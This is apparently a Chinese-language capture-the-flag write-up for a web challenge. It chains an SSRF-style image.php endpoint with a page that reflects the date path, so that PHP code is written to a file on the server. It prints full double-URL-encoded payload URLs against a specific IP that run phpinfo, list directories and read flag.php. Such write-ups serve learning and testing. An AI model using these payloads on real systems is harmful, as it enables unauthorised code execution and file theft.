前三次都忘了报名了,第四次那个csrf那个题当时已经想对了,也绕过了,但是最后迫于信安技术作业和ppt的压力结果最后没有做完,也是蛮遗憾的。
这次终于有机会在补seccon的空隙把这一期的题做了。不过这一期的题目相对来说要比前几期简单些。
首先看看网站。在首页的源码里面有这样一部分很奇怪
<script src="http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg"></script>
访问下,说是logo.jpg更新成功。
试了几下,发现以下几点
首先这个链接是访问
file
指向的链接,并将返回的内容写到path指向的文件file
指向的连接必须是127.0.0.1的,不太好绕过path
可以是.php后缀的文件,但是过滤的尖括号,没有办法二次访问直接webshell。
综上思路就是想办法在本站下找一个地方可以写webshell的,然后通过这个image.php
直接写webshell。
但是刚才说了没有办法二次访问image.php
直接写webshell。
所以还要另外找地方。
然后发现这个地方http://54.223.231.220/?date/2016-07/
,
日期被直接打印出来了,那么我们试试,果然这里可以打印链接上的内容,所以构造poc如下:(注意要二次url编码)
http://54.223.231.220/image.php?file=http%3A%2f%2f127.0.0.1%3A8888%2f%3Fdate%2f2016-07%253C%253Fphp%2520%2520phpinfo%2528%2529%253B%2520%253F%253E%2f&path=bendawang.php
访问http://54.223.231.220/bendawang.php
,截图如下:
成功了,那么看看被禁用的函数:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,fopen,fread,fwrite,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen,assert
几乎所有执行命令的函数都被禁用了。
那么先用glob
遍历下目录把
http://54.223.231.220/image.php?file=http%3A%2f%2f127.0.0.1%3A8888%2f%3Fdate%2f2016-07%253C%253Fphp%2520%2520foreach%2528glob%2528%2522.%252f%252a%2522%2529%2520as%2520%2524bdw%2529%257B%2520%2520echo%2520%2524bdw.%2522%253Cbr%253E%2522%253B%2520%257D%253F%253E%2f&path=bendawang.php
访问截图如下:
发现一个flag.php
,直接读取内容看看,poc如下:
http://54.223.231.220/image.php?file=http%3A%2f%2f127.0.0.1%3A8888%2f%3Fdate%2f2016-07%253C%253Fphp%2520%2520echo%2520file_get_contents%2528%2527flag.php%2527%2529%253B%253F%253E%2f&path=bendawang.php
截图如下,拿到flag